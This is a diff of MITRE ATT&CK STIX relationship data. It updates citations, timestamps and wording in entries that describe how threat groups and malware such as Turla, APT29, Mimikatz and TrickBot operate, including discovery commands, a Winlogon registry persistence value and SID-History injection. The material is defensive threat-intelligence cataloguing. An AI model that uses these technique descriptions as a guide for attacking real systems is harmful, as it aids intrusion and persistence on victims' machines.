"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", - "type": "relationship", - "modified": "2019-06-06T19:04:39.331Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--5550ef5e-a34c-4055-b7be-dd41d76ef7b1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -69951,7 +71662,7 @@ { "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, nbtscan, net config, ipconfig /all, and route commands.(Citation: Kaspersky Turla)(Citation: Symantec Waterbug Jun 2019)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.(Citation: ESET Turla PowerShell May 2019)", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, net config, ipconfig /all, and route commands, as well as [NBTscan](https://attack.mitre.org/software/S0590).(Citation: Kaspersky Turla)(Citation: Symantec Waterbug Jun 2019)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.(Citation: ESET Turla PowerShell May 2019)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -69981,7 +71692,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2020-06-29T02:52:31.826Z", + "modified": "2021-03-23T18:34:56.454Z", "created": "2017-05-31T21:33:27.044Z" }, { @@ -70071,7 +71782,7 @@ { "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of keylogging.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of keylogging.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -70094,32 +71805,6 @@ "modified": "2020-03-16T17:11:22.863Z", "created": "2018-01-16T16:13:52.465Z" }, - { - "id": "relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as a local user account.(Citation: cobaltstrike manual)(Citation: CobaltStrike Daddy May 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - }, - { - "source_name": "CobaltStrike Daddy May 2017", - "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", - "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019." - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", - "type": "relationship", - "modified": "2020-03-16T18:34:20.226Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -70177,7 +71862,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "type": "relationship", - "modified": "2020-03-25T23:28:10.302Z", + "modified": "2021-04-13T21:36:05.236Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -70317,14 +72002,14 @@ "target_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.512Z", + "modified": "2021-01-06T19:32:29.093Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -70359,14 +72044,14 @@ "target_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.549Z", + "modified": "2021-03-29T19:54:46.314Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -70756,14 +72441,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "relationship_type": "uses", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "type": "relationship", - "modified": "2020-05-14T14:30:09.437Z", + "modified": "2021-04-27T19:53:40.872Z", "created": "2017-05-31T21:33:27.055Z" }, { @@ -71159,19 +72845,24 @@ "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", "external_references": [ { - "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", - "source_name": "Accenture Hogfish April 2018" + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" }, { - "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", - "source_name": "FireEye APT10 Sept 2018" + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], - "description": "(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)", + "description": "(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)", "type": "relationship", - "modified": "2019-09-03T18:50:16.914Z", + "modified": "2020-12-17T16:16:08.982Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -71748,7 +73439,7 @@ { "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s MISC::AddSid module can appended any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1178) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s MISC::AddSid module can appended any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -71768,7 +73459,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "type": "relationship", - "modified": "2019-04-24T23:36:42.281Z", + "modified": "2021-02-09T15:10:55.651Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -71927,7 +73618,7 @@ ], "external_references": [ { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" } @@ -71936,7 +73627,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "type": "relationship", - "modified": "2019-09-09T19:15:45.218Z", + "modified": "2020-12-11T17:47:22.852Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -72447,27 +74138,6 @@ "modified": "2019-04-25T12:24:57.286Z", "created": "2018-04-18T17:59:24.739Z" }, - { - "id": "relationship--d328f1e2-c98f-473e-aea5-063e1ee70744", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WinRM to execute a payload on a remote host.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", - "type": "relationship", - "modified": "2019-06-06T19:04:39.340Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--a49b638b-c180-4239-95f8-1601bd2d5295", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -72959,14 +74629,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2019-04-24T23:17:25.132Z", + "modified": "2020-11-23T17:03:38.729Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -73172,7 +74842,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "type": "relationship", - "modified": "2020-03-26T21:55:15.584Z", + "modified": "2021-04-24T13:40:53.230Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -73251,27 +74921,6 @@ "modified": "2020-01-31T18:59:01.134Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--6c030461-42c5-44db-908a-85ac9a5a9822", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a number of known techniques to bypass Windows UAC.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", - "type": "relationship", - "modified": "2019-06-06T19:04:39.339Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--9691a6a8-12d0-45a7-8217-11d1793234cb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -73438,12 +75087,12 @@ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" } ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z", "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "relationship_type": "uses", - "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32" + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "type": "relationship", + "modified": "2021-02-09T14:56:14.783Z", + "created": "2018-04-18T17:59:24.739Z" }, { "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c", @@ -73765,7 +75414,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "type": "relationship", - "modified": "2020-09-17T12:26:53.793Z", + "modified": "2021-04-13T21:40:23.559Z", "created": "2017-05-31T21:33:27.019Z" }, { @@ -74545,14 +76194,14 @@ "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.552Z", + "modified": "2021-03-29T19:54:46.219Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -75560,7 +77209,7 @@ { "id": "relationship--69682171-e717-4af7-a24a-06a39f381641", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use nbtscan to discover vulnerable systems.(Citation: Dell TG-3390)", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [NBTscan](https://attack.mitre.org/software/S0590) to discover vulnerable systems.(Citation: Dell TG-3390)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -75575,7 +77224,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2019-07-14T21:15:55.179Z", + "modified": "2021-03-17T16:21:46.871Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -75822,22 +77471,27 @@ { "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT29](https://attack.mitre.org/groups/G0016) used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.(Citation: Mandiant No Easy Breach)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) routinely removed their tools, including custom backdoors, once remote access was achieved. [APT29](https://attack.mitre.org/groups/G0016) has also used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Mandiant No Easy Breach)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Mandiant No Easy Breach", + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", - "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + "source_name": "Mandiant No Easy Breach" } ], "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "type": "relationship", - "modified": "2019-07-25T14:25:53.243Z", + "modified": "2021-04-16T20:29:18.720Z", "created": "2017-05-31T21:33:27.048Z" }, { @@ -76102,7 +77756,7 @@ { "id": "relationship--c1ed0848-df59-4cd1-8e39-a0d87002c652", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can perform keylogging.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can perform keylogging.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -76116,13 +77770,28 @@ "source_name": "FireEye APT33 Webinar Sept 2017", "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", "url": "https://www.brighttalk.com/webcast/10703/275683" + }, + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." } ], "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-03-16T17:21:37.072Z", + "modified": "2021-01-12T18:38:41.126Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -76197,16 +77866,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", "type": "relationship", - "modified": "2020-03-16T16:53:42.242Z", + "modified": "2021-03-29T19:54:46.488Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -76448,7 +78117,7 @@ { "id": "relationship--16e90509-5ea2-48ff-8e09-686dcfddbb3b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT28](https://attack.mitre.org/groups/G0007) downloads and executes PowerShell scripts.(Citation: Palo Alto Sofacy 06-2018)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) downloads and executes PowerShell scripts and performs PowerShell commands.(Citation: Palo Alto Sofacy 06-2018)(Citation: TrendMicro Pawn Storm Dec 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -76457,13 +78126,18 @@ "source_name": "Palo Alto Sofacy 06-2018", "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." } ], "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2019-09-09T17:44:35.447Z", + "modified": "2021-01-13T21:54:30.303Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -76864,27 +78538,6 @@ "modified": "2020-03-11T17:45:33.628Z", "created": "2017-12-14T16:46:06.044Z" }, - { - "id": "relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can SSH to a remote service.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", - "type": "relationship", - "modified": "2020-03-17T16:58:46.653Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--4e88ec20-d309-440d-a685-0d2abdc1d7ef", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -77621,7 +79274,7 @@ { "id": "relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion]Winlogon.(Citation: ESET Turla Mosquito Jan 2018)", + "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: ESET Turla Mosquito Jan 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -77636,7 +79289,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", "type": "relationship", - "modified": "2019-07-14T21:04:44.988Z", + "modified": "2021-04-25T15:37:07.993Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -77734,14 +79387,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "type": "relationship", - "modified": "2020-03-17T23:42:00.777Z", + "modified": "2020-11-23T17:03:38.753Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -77818,14 +79471,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", "relationship_type": "uses", "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", "type": "relationship", - "modified": "2020-03-29T16:48:21.896Z", + "modified": "2021-04-21T16:41:34.712Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -77953,7 +79606,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "type": "relationship", - "modified": "2020-10-21T16:38:28.120Z", + "modified": "2021-04-14T12:04:36.617Z", "created": "2017-05-31T21:33:27.029Z" }, { @@ -78822,7 +80475,7 @@ { "id": "relationship--01aac35b-55e1-40d6-962f-5b5a6efdb2be", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[TrickBot](https://attack.mitre.org/software/S0266) gathers the OS version, machine name, CPU type, amount of RAM available from the victim\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) gathers the OS version, machine name, CPU type, amount of RAM available, and UEFI/BIOS firmware information from the victim\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)(Citation: Eclypsium Trickboot December 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -78841,13 +80494,18 @@ "source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020." + }, + { + "source_name": "Eclypsium Trickboot December 2020", + "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf", + "description": "Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS \u2018TRICKBOOT\u2019: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021." } ], "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2020-09-11T13:27:44.440Z", + "modified": "2021-03-15T19:28:36.607Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -79227,7 +80885,7 @@ }, { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" } ], @@ -79235,7 +80893,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "type": "relationship", - "modified": "2019-04-16T20:26:40.893Z", + "modified": 